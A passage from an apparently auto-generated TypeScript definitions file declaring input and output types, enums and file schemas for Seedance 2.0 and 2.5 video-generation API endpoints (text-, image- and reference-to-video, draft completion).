4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20MiniImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileE31Cd206 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20MiniReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20MiniReferenceToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20MiniReferenceToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20MiniReferenceToVideoResolutionEnum] + +export const inputBytedanceSeedance20MiniReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20MiniReferenceToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20MiniReferenceToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20MiniReferenceToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20MiniReferenceToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20MiniReferenceToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20MiniReferenceToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20MiniReferenceToVideoCodecEnum] + +export const inputBytedanceSeedance20MiniReferenceToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20MiniReferenceToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20MiniReferenceToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20MiniReferenceToVideoDurationEnum] + +export type InputBytedanceSeedance20MiniReferenceToVideo = { + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20MiniReferenceToVideoResolutionEnumKey + /** + * @description The text prompt used to generate the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20MiniReferenceToVideoAspectRatioEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20MiniReferenceToVideoCodecEnumKey + /** + * @description Reference images to guide video generation. Refer to them in the prompt as @Image1, @Image2, etc. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB per image. Up to 9 images. Total files across all modalities must not exceed 12. + * @example ["https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Reference videos to guide video generation. Refer to them in the prompt as @Video1, @Video2, etc. Supported formats: MP4, MOV. Up to 3 videos, combined duration must be between 2 and 15 seconds, total size under 50 MB. Each video must be between ~480p (640x640) and ~720p (834x1112) in resolution. + * @type array | undefined + */ + video_urls?: string[] + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Reference audio to guide video generation. Refer to them in the prompt as @Audio1, @Audio2, etc. Supported formats: MP3, WAV. Up to 3 files, combined duration must not exceed 15 seconds. Max 15 MB per file. At least one reference image or video is required. + * @type array | undefined + */ + audio_urls?: string[] + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20MiniReferenceToVideoDurationEnumKey +} + +export type File95Ad7E26 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20MiniReferenceToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File95Ad7E26 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20MiniTextToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20MiniTextToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20MiniTextToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20MiniTextToVideoDurationEnum] + +export const inputBytedanceSeedance20MiniTextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20MiniTextToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20MiniTextToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20MiniTextToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20MiniTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', +} as const + +export type InputBytedanceSeedance20MiniTextToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20MiniTextToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20MiniTextToVideoResolutionEnum] + +export const inputBytedanceSeedance20MiniTextToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20MiniTextToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20MiniTextToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20MiniTextToVideoCodecEnum] + +export type InputBytedanceSeedance20MiniTextToVideo = { + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20MiniTextToVideoDurationEnumKey + /** + * @description The text prompt used to generate the video + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20MiniTextToVideoAspectRatioEnumKey + /** + * @description Video resolution - 480p for faster generation, 720p for balance. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20MiniTextToVideoResolutionEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20MiniTextToVideoCodecEnumKey +} + +export type File129Ea35C = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputBytedanceSeedance20MiniTextToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File129Ea35C + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20UsImageToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20UsImageToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20UsImageToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20UsImageToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20UsImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputBytedanceSeedance20UsImageToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20UsImageToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20UsImageToVideoResolutionEnum] + +export const inputBytedanceSeedance20UsImageToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20UsImageToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20UsImageToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20UsImageToVideoCodecEnum] + +export const inputBytedanceSeedance20UsImageToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20UsImageToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20UsImageToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20UsImageToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20UsImageToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20UsImageToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20UsImageToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20UsImageToVideoDurationEnum] + +export type InputBytedanceSeedance20UsImageToVideo = { + /** + * @description The URL of the image to use as the last frame of the video. When provided, the generated video will transition from the starting image to this ending image. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + */ + end_image_url?: string | null + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20UsImageToVideoBitrateModeEnumKey + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality, 4k for highest quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20UsImageToVideoResolutionEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20UsImageToVideoCodecEnumKey + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to infer from the input image. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20UsImageToVideoAspectRatioEnumKey + /** + * @description The text prompt describing the desired motion and action for the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description The URL of the starting frame image to animate. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + * @example https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg + * @type string + */ + image_url: string + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20UsImageToVideoDurationEnumKey +} + +export type FileCca827C1 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBytedanceSeedance20UsImageToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileCca827C1 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20UsReferenceToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputBytedanceSeedance20UsReferenceToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20UsReferenceToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20UsReferenceToVideoResolutionEnum] + +export const inputBytedanceSeedance20UsReferenceToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20UsReferenceToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20UsReferenceToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20UsReferenceToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20UsReferenceToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20UsReferenceToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20UsReferenceToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20UsReferenceToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20UsReferenceToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20UsReferenceToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20UsReferenceToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20UsReferenceToVideoCodecEnum] + +export const inputBytedanceSeedance20UsReferenceToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20UsReferenceToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20UsReferenceToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20UsReferenceToVideoDurationEnum] + +export type InputBytedanceSeedance20UsReferenceToVideo = { + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality, 4k for highest quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20UsReferenceToVideoResolutionEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20UsReferenceToVideoBitrateModeEnumKey + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20UsReferenceToVideoAspectRatioEnumKey + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20UsReferenceToVideoCodecEnumKey + /** + * @description The text prompt used to generate the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Reference images to guide video generation. Refer to them in the prompt as @Image1, @Image2, etc. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB per image. Up to 9 images. Total files across all modalities must not exceed 12. + * @example ["https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg"] + * @type array | undefined + */ + image_urls?: string[] + /** + * @description Reference videos to guide video generation. Refer to them in the prompt as @Video1, @Video2, etc. Supported formats: MP4, MOV. Up to 3 videos, combined duration must be between 2 and 15 seconds, total size under 50 MB. Each video must be between ~480p (640x640) and ~720p (834x1112) in resolution. + * @type array | undefined + */ + video_urls?: string[] + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Reference audio to guide video generation. Refer to them in the prompt as @Audio1, @Audio2, etc. Supported formats: MP3, WAV. Up to 3 files, combined duration must not exceed 15 seconds. Max 15 MB per file. At least one reference image or video is required. + * @type array | undefined + */ + audio_urls?: string[] + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20UsReferenceToVideoDurationEnumKey +} + +export type File68D00F39 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBytedanceSeedance20UsReferenceToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File68D00F39 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance20UsTextToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', + '4k': '4k', +} as const + +export type InputBytedanceSeedance20UsTextToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance20UsTextToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance20UsTextToVideoResolutionEnum] + +export const inputBytedanceSeedance20UsTextToVideoAspectRatioEnum = { + auto: 'auto', + '21:9': '21:9', + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputBytedanceSeedance20UsTextToVideoAspectRatioEnumKey = + (typeof inputBytedanceSeedance20UsTextToVideoAspectRatioEnum)[keyof typeof inputBytedanceSeedance20UsTextToVideoAspectRatioEnum] + +export const inputBytedanceSeedance20UsTextToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance20UsTextToVideoCodecEnumKey = + (typeof inputBytedanceSeedance20UsTextToVideoCodecEnum)[keyof typeof inputBytedanceSeedance20UsTextToVideoCodecEnum] + +export const inputBytedanceSeedance20UsTextToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance20UsTextToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance20UsTextToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance20UsTextToVideoBitrateModeEnum] + +export const inputBytedanceSeedance20UsTextToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', +} as const + +export type InputBytedanceSeedance20UsTextToVideoDurationEnumKey = + (typeof inputBytedanceSeedance20UsTextToVideoDurationEnum)[keyof typeof inputBytedanceSeedance20UsTextToVideoDurationEnum] + +export type InputBytedanceSeedance20UsTextToVideo = { + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality, 4k for highest quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance20UsTextToVideoResolutionEnumKey + /** + * @description The aspect ratio of the generated video. Use 16:9 for landscape, 9:16 for portrait/vertical, 1:1 for square, 21:9 for ultrawide cinematic, or auto to let the model decide. + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: InputBytedanceSeedance20UsTextToVideoAspectRatioEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance20UsTextToVideoCodecEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance20UsTextToVideoBitrateModeEnumKey + /** + * @description The text prompt used to generate the video + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + * @type string + */ + prompt: string + /** + * @description Duration of the video in seconds. Supports 4 to 15 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance20UsTextToVideoDurationEnumKey +} + +export type FileB36Fc1F5 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputBytedanceSeedance20UsTextToVideo = { + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileB36Fc1F5 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance25UsDraftCompleteCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance25UsDraftCompleteCodecEnumKey = + (typeof inputBytedanceSeedance25UsDraftCompleteCodecEnum)[keyof typeof inputBytedanceSeedance25UsDraftCompleteCodecEnum] + +export type InputBytedanceSeedance25UsDraftComplete = { + /** + * @description The draft_id returned with draft enabled. Valid for 14 days (7 days for US drafts) and only for the original caller. + * @minLength 1 + * @maxLength 8192 + * @type string + */ + draft_id: string + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance25UsDraftCompleteCodecEnumKey + /** + * @description Completed drafts only support 1080p output. + * @default '1080p' + * @type string | undefined + */ + resolution?: '1080p' +} + +export type FileAa91Fc14 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedance25UsDraftComplete = { + /** + * @description The draft ID, or null when draft mode is disabled. Complete this draft within 14 days (7 days for US drafts) using the same account. + */ + draft_id?: string | null + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: FileAa91Fc14 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance25UsImageToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance25UsImageToVideoCodecEnumKey = + (typeof inputBytedanceSeedance25UsImageToVideoCodecEnum)[keyof typeof inputBytedanceSeedance25UsImageToVideoCodecEnum] + +export const inputBytedanceSeedance25UsImageToVideoDurationEnum = { + auto: 'auto', + '4': '4', + '5': '5', + '6': '6', + '7': '7', + '8': '8', + '9': '9', + '10': '10', + '11': '11', + '12': '12', + '13': '13', + '14': '14', + '15': '15', + '16': '16', + '17': '17', + '18': '18', + '19': '19', + '20': '20', + '21': '21', + '22': '22', + '23': '23', + '24': '24', + '25': '25', + '26': '26', + '27': '27', + '28': '28', + '29': '29', + '30': '30', +} as const + +export type InputBytedanceSeedance25UsImageToVideoDurationEnumKey = + (typeof inputBytedanceSeedance25UsImageToVideoDurationEnum)[keyof typeof inputBytedanceSeedance25UsImageToVideoDurationEnum] + +export const inputBytedanceSeedance25UsImageToVideoResolutionEnum = { + '480p': '480p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputBytedanceSeedance25UsImageToVideoResolutionEnumKey = + (typeof inputBytedanceSeedance25UsImageToVideoResolutionEnum)[keyof typeof inputBytedanceSeedance25UsImageToVideoResolutionEnum] + +export const inputBytedanceSeedance25UsImageToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance25UsImageToVideoBitrateModeEnumKey = + (typeof inputBytedanceSeedance25UsImageToVideoBitrateModeEnum)[keyof typeof inputBytedanceSeedance25UsImageToVideoBitrateModeEnum] + +export type InputBytedanceSeedance25UsImageToVideo = { + /** + * @description 'auto' retains default video codec behaviour; 'H264' uses H.264; 'H265' uses H.265. + * @default 'auto' + * @example auto + * @example H264 + * @example H265 + * @type string | undefined + */ + codec?: InputBytedanceSeedance25UsImageToVideoCodecEnumKey + /** + * @description The URL of the starting frame image to animate. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + * @example https://v3b.fal.media/files/b/0a8eba37/Cqg-4Uwzyz4DELfceT1CF_a17e588773ec45b1a9e6f100a787b80b.jpg + * @type string + */ + image_url: string + /** + * @description Whether to generate synchronized audio for the video, including sound effects, ambient sounds, and lip-synced speech. The cost of video generation is the same regardless of whether audio is generated or not. + * @default true + * @type boolean | undefined + */ + generate_audio?: boolean + /** + * @description The URL of the image to use as the last frame of the video. When provided, the generated video will transition from the starting image to this ending image. Supported formats: JPEG, PNG, WebP, BMP, TIFF, GIF, HEIC, HEIF. Max 30 MB. + */ + end_image_url?: string | null + /** + * @description The aspect ratio of the generated video. Always "auto" for image-to-video + * @default 'auto' + * @type string | undefined + */ + aspect_ratio?: 'auto' + /** + * @description Generate a draft preview at 480p, overriding resolution. Returns a draft_id for completing the draft at 1080p within 7 days. + * @default false + * @type boolean | undefined + */ + draft?: boolean + /** + * @description The text prompt describing the desired motion and action for the video. + * @example An octopus finds a football in the ocean and excitedly calls its octopus friends to come and play. Cut scene to an octopus football game under the sea. + */ + prompt?: string | null + /** + * @description Duration of the video in seconds. Supports 4 to 30 seconds, or auto to let the model decide based on the prompt. + * @default 'auto' + * @type string | undefined + */ + duration?: InputBytedanceSeedance25UsImageToVideoDurationEnumKey + /** + * @description The unique user ID of the end user. + */ + end_user_id?: string | null + /** + * @description Video resolution - 480p for faster generation, 720p for balance, 1080p for high quality. + * @default '720p' + * @type string | undefined + */ + resolution?: InputBytedanceSeedance25UsImageToVideoResolutionEnumKey + /** + * @description Output bitrate mode. 'high' requests a higher-quality, larger-file encode from the model; 'standard' uses the default bitrate. + * @default 'standard' + * @example standard + * @type string | undefined + */ + bitrate_mode?: InputBytedanceSeedance25UsImageToVideoBitrateModeEnumKey +} + +export type File46A47Fb4 = { + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedance25UsImageToVideo = { + /** + * @description The draft ID, or null when draft mode is disabled. Complete this draft within 14 days (7 days for US drafts) using the same account. + */ + draft_id?: string | null + /** + * @description The generated video file. + * @example {"url":"https://storage.googleapis.com/falserverless/example_outputs/bytedance/seedance_2/output.mp4"} + * @type object + */ + video: File46A47Fb4 + /** + * @description The seed used for generation. + * @example 42 + * @type integer + */ + seed: number +} + +export const inputBytedanceSeedance25UsReferenceToVideoCodecEnum = { + auto: 'auto', + H264: 'H264', + H265: 'H265', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoCodecEnumKey = + (typeof inputBytedanceSeedance25UsReferenceToVideoCodecEnum)[keyof typeof inputBytedanceSeedance25UsReferenceToVideoCodecEnum] + +export const inputBytedanceSeedance25UsReferenceToVideoBitrateModeEnum = { + standard: 'standard', + high: 'high', +} as const + +export type InputBytedanceSeedance25UsReferenceToVideoBitrateModeEnumKey = + (typeof 